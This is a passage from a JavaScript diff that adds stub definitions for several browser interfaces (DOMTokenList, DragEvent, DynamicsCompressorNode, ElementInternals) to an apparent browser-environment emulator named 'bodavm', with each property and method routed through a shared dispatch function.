enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "contains", { + configurable: true, + enumerable: true, + writable: true, + value: function contains() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "contains", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "replace", { + configurable: true, + enumerable: true, + writable: true, + value: function replace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "replace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "supports", { + configurable: true, + enumerable: true, + writable: true, + value: function supports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "supports", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "toggle", { + configurable: true, + enumerable: true, + writable: true, + value: function toggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "toggle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DOMTokenList', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMTokenList'].prototype, "DOMTokenList", "toString", arguments); + } +}, 'prototype'); +// DragEvent对象 + +bodavm.memory.globalobj['DragEvent'] = function DragEvent() { + console.log_copy('DragEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DragEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DragEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DragEvent'], "DragEvent"); +bodavm.memory.globalobj['DragEvent'].prototype.__proto__ = bodavm.memory.globalobj['MouseEvent'].prototype; +bodavm.memory.globalobj['DragEvent'].__proto__ = bodavm.memory.globalobj['MouseEvent']; +bodavm.toolsFunc.defineProperty('DragEvent', "dataTransfer", { + configurable: true, + enumerable: true, + get: function dataTransfer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DragEvent'].prototype, "DragEvent", "dataTransfer_get", arguments); + }, + set: undefined +}, 'prototype'); +// DynamicsCompressorNode对象 + +bodavm.memory.globalobj['DynamicsCompressorNode'] = function DynamicsCompressorNode() { + console.log_copy('DynamicsCompressorNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DynamicsCompressorNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DynamicsCompressorNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DynamicsCompressorNode'], "DynamicsCompressorNode"); +bodavm.memory.globalobj['DynamicsCompressorNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['DynamicsCompressorNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "threshold", { + configurable: true, + enumerable: true, + get: function threshold() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "threshold_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "knee", { + configurable: true, + enumerable: true, + get: function knee() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "knee_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "ratio", { + configurable: true, + enumerable: true, + get: function ratio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "ratio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "reduction", { + configurable: true, + enumerable: true, + get: function reduction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "reduction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "attack", { + configurable: true, + enumerable: true, + get: function attack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "attack_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "release", { + configurable: true, + enumerable: true, + get: function release() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "release_get", arguments); + }, + set: undefined +}, 'prototype'); +// ElementInternals对象 + +bodavm.memory.globalobj['ElementInternals'] = function ElementInternals() { + console.log_copy('ElementInternals 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ElementInternals)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ElementInternals'], "ElementInternals"); +bodavm.toolsFunc.defineProperty('ElementInternals', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "states", { + configurable: true, + enumerable: true, + get: function states() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "states_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "shadowRoot", { + configurable: true, + enumerable: true, + get: function shadowRoot() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "shadowRoot_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "role", { + configurable: true, + enumerable: true, + get: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "role_get", arguments); + }, + set: function role() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "role_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaAtomic", { + configurable: true, + enumerable: true, + get: function ariaAtomic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAtomic_get", arguments); + }, + set: function ariaAtomic() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAtomic_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaAutoComplete", { + configurable: true, + enumerable: true, + get: function ariaAutoComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAutoComplete_get", arguments); + }, + set: function ariaAutoComplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaAutoComplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBusy", { + configurable: true, + enumerable: true, + get: function ariaBusy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBusy_get", arguments); + }, + set: function ariaBusy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBusy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBrailleLabel", { + configurable: true, + enumerable: true, + get: function ariaBrailleLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleLabel_get", arguments); + }, + set: function ariaBrailleLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleLabel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaBrailleRoleDescription", { + configurable: true, + enumerable: true, + get: function ariaBrailleRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleRoleDescription_get", arguments); + }, + set: function ariaBrailleRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaBrailleRoleDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaChecked", { + configurable: true, + enumerable: true, + get: function ariaChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaChecked_get", arguments); + }, + set: function ariaChecked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaChecked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColCount", { + configurable: true, + enumerable: true, + get: function ariaColCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColCount_get", arguments); + }, + set: function ariaColCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColIndex", { + configurable: true, + enumerable: true, + get: function ariaColIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColIndex_get", arguments); + }, + set: function ariaColIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaColSpan", { + configurable: true, + enumerable: true, + get: function ariaColSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColSpan_get", arguments); + }, + set: function ariaColSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaColSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaCurrent", { + configurable: true, + enumerable: true, + get: function ariaCurrent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaCurrent_get", arguments); + }, + set: function ariaCurrent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaCurrent_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaDescription", { + configurable: true, + enumerable: true, + get: function ariaDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDescription_get", arguments); + }, + set: function ariaDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaDisabled", { + configurable: true, + enumerable: true, + get: function ariaDisabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDisabled_get", arguments); + }, + set: function ariaDisabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaDisabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaExpanded", { + configurable: true, + enumerable: true, + get: function ariaExpanded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaExpanded_get", arguments); + }, + set: function ariaExpanded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaExpanded_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaHasPopup", { + configurable: true, + enumerable: true, + get: function ariaHasPopup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHasPopup_get", arguments); + }, + set: function ariaHasPopup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHasPopup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaHidden", { + configurable: true, + enumerable: true, + get: function ariaHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHidden_get", arguments); + }, + set: function ariaHidden() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaHidden_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaInvalid", { + configurable: true, + enumerable: true, + get: function ariaInvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaInvalid_get", arguments); + }, + set: function ariaInvalid() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaInvalid_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaKeyShortcuts", { + configurable: true, + enumerable: true, + get: function ariaKeyShortcuts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaKeyShortcuts_get", arguments); + }, + set: function ariaKeyShortcuts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaKeyShortcuts_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLabel", { + configurable: true, + enumerable: true, + get: function ariaLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLabel_get", arguments); + }, + set: function ariaLabel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLabel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLevel", { + configurable: true, + enumerable: true, + get: function ariaLevel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLevel_get", arguments); + }, + set: function ariaLevel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLevel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaLive", { + configurable: true, + enumerable: true, + get: function ariaLive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLive_get", arguments); + }, + set: function ariaLive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaLive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaModal", { + configurable: true, + enumerable: true, + get: function ariaModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaModal_get", arguments); + }, + set: function ariaModal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaModal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaMultiLine", { + configurable: true, + enumerable: true, + get: function ariaMultiLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiLine_get", arguments); + }, + set: function ariaMultiLine() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiLine_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaMultiSelectable", { + configurable: true, + enumerable: true, + get: function ariaMultiSelectable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiSelectable_get", arguments); + }, + set: function ariaMultiSelectable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaMultiSelectable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaOrientation", { + configurable: true, + enumerable: true, + get: function ariaOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaOrientation_get", arguments); + }, + set: function ariaOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaOrientation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPlaceholder", { + configurable: true, + enumerable: true, + get: function ariaPlaceholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPlaceholder_get", arguments); + }, + set: function ariaPlaceholder() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPlaceholder_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPosInSet", { + configurable: true, + enumerable: true, + get: function ariaPosInSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPosInSet_get", arguments); + }, + set: function ariaPosInSet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPosInSet_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaPressed", { + configurable: true, + enumerable: true, + get: function ariaPressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPressed_get", arguments); + }, + set: function ariaPressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaPressed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaReadOnly", { + configurable: true, + enumerable: true, + get: function ariaReadOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaReadOnly_get", arguments); + }, + set: function ariaReadOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaReadOnly_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRelevant", { + configurable: true, + enumerable: true, + get: function ariaRelevant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRelevant_get", arguments); + }, + set: function ariaRelevant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRelevant_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRequired", { + configurable: true, + enumerable: true, + get: function ariaRequired() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRequired_get", arguments); + }, + set: function ariaRequired() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRequired_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRoleDescription", { + configurable: true, + enumerable: true, + get: function ariaRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRoleDescription_get", arguments); + }, + set: function ariaRoleDescription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRoleDescription_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowCount", { + configurable: true, + enumerable: true, + get: function ariaRowCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowCount_get", arguments); + }, + set: function ariaRowCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowIndex", { + configurable: true, + enumerable: true, + get: function ariaRowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowIndex_get", arguments); + }, + set: function ariaRowIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaRowSpan", { + configurable: true, + enumerable: true, + get: function ariaRowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowSpan_get", arguments); + }, + set: function ariaRowSpan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaRowSpan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSelected", { + configurable: true, + enumerable: true, + get: function ariaSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSelected_get", arguments); + }, + set: function ariaSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSelected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSetSize", { + configurable: true, + enumerable: true, + get: function ariaSetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSetSize_get", arguments); + }, + set: function ariaSetSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSetSize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaSort", { + configurable: true, + enumerable: true, + get: function ariaSort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSort_get", arguments); + }, + set: function ariaSort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaSort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueMax", { + configurable: true, + enumerable: true, + get: function ariaValueMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMax_get", arguments); + }, + set: function ariaValueMax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMax_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueMin", { + configurable: true, + enumerable: true, + get: function ariaValueMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMin_get", arguments); + }, + set: function ariaValueMin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueMin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueNow", { + configurable: true, + enumerable: true, + get: function ariaValueNow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueNow_get", arguments); + }, + set: function ariaValueNow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueNow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "ariaValueText", { + configurable: true, + enumerable: true, + get: function ariaValueText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueText_get", arguments); + }, + set: function ariaValueText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "ariaValueText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "setFormValue", { + configurable: true, + enumerable: true, + writable: true, + value: function setFormValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "setFormValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ElementInternals', "setValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ElementInternals'].prototype, "ElementInternals", "setValidity", arguments); + } +}, 